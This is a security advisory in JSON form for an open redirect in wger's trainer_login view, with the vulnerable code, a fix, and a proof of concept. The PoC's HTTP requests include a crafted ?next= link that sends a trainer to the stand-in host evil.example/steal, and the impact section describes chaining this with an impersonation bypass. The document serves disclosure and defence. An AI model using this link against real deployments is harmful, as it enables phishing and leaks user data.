GHSA-vqv8-j3mj-wjxj: wger Trainer_login Open Redirect - ?next= Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vqv8-j3mj-wjxj",
  "modified" : "2026-05-06T19:50:52Z",
  "published" : "2026-05-06T19:50:52Z",
  "aliases" : [ ],
  "summary" : "wger: trainer_login open redirect - ?next= parameter not validated against host",
  "details" : "### Summary\n\nThe `trainer_login` view in wger redirects to `request.GET['next']` directly via `HttpResponseRedirect()` without calling `url_has_allowed_host_and_scheme()`. After the trainer successfully enters impersonation mode, their browser is redirected to any attacker-controlled URL supplied in the `?next=` parameter, enabling Referer exfiltration and phishing.\n\n### Details\n\n**File**: `wger/core/views/user.py`, approximately line 203\n\n```python\n# VULNERABLE - wger/core/views/user.py\nif not own:\n    request.session['trainer.identity'] = orig_user_pk\n    if request.GET.get('next'):\n        return HttpResponseRedirect(request.GET['next'])   # no host/scheme validation\n```\n\nAfter the impersonation logic succeeds, the view performs no validation of the `next` parameter before issuing the redirect. An attacker who can deliver a crafted link (e.g. `/en/user/2/trainer-login?next=https://evil.example/steal`) to a trainer can redirect the trainer's browser to any external host immediately after the impersonation session is established. The `Location` header contains the raw attacker-controlled URL.\n\n**Affected endpoint**:\n- `GET /en/user/<user_pk>/trainer-login` -> `wger.core.views.user.trainer_login` (the `?next=` redirect branch)\n\n**Suggested patch**:\n\n```diff\n--- a/wger/core/views/user.py\n+++ b/wger/core/views/user.py\n+from django.utils.http import url_has_allowed_host_and_scheme\n+\n if not own:\n     request.session['trainer.identity'] = orig_user_pk\n-    if request.GET.get('next'):\n-        return HttpResponseRedirect(request.GET['next'])\n+    next_url = request.GET.get('next')\n+    if next_url and url_has_allowed_host_and_scheme(\n+        next_url, allowed_hosts={request.get_host()}, require_https=request.is_secure()\n+    ):\n+        return HttpResponseRedirect(next_url)\n     return HttpResponseRedirect(reverse('core:index'))\n```\n\nAdding `@require_POST` to `trainer_login` (see also VULN-030) moves the `next` parameter to the POST body where CSRF protection applies and eliminates the combined CSRF + open-redirect attack surface entirely.\n\n### PoC\n\nTested on `wger/server:latest` Docker image. Victim: `trainer1` (`gym.gym_trainer` permission).\n\nStep 1 - Authenticate as trainer:\n\n```\nPOST /en/user/login HTTP/1.1\nHost: target\nContent-Type: application/x-www-form-urlencoded\n\nusername=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]\n\n-> 302 Found; Set-Cookie: sessionid=[trainer1_session]\n```\n\nStep 2 - Trainer clicks (or is delivered) the crafted link:\n\n```\nGET /en/user/2/trainer-login?next=https://evil.example/steal HTTP/1.1\nHost: target\nCookie: sessionid=[trainer1_session]\n\n-> 302 Found\n   Location: https://evil.example/steal\n```\n\nStep 3 - Attacker server logs Referer:\n\n```\nReferer: http://target/en/user/2/trainer-login?next=https://evil.example/steal\n(victim user_pk and next URL exposed)\n```\n\nReproducibility: 2/2 runs.\n\n### Impact\n\nAn attacker who can deliver a crafted URL to a trainer (phishing email, malicious gym management system integration, social engineering) can redirect the trainer's browser to an attacker-controlled domain after the trainer enters impersonation mode. The redirect leaks:\n\n- The wger URL structure (including the impersonated user's `user_pk`) via the browser `Referer` header.\n- The session-rebound cookie (if the attacker page subsequently triggers an authenticated request with `credentials: 'include'` targeting wger, any same-site cookie without SameSite=Strict is attached).\n\nCombined with the trainer-login scope bypass (submitted separately), this primitive allows an attacker to silently impersonate arbitrary `gym=None` users and then land the trainer on an attacker page for credential harvesting.\n\n**Affected deployments**: every wger instance where `gym.gym_trainer` is delegated to non-admin users.\n\n**Severity**: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role), requires victim interaction (click), scope change (attacker's origin).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "wger"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/wger-project/wger/security/advisories/GHSA-vqv8-j3mj-wjxj"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/wger-project/wger"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-601" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T19:50:52Z",
    "nvd_published_at" : null
  }
}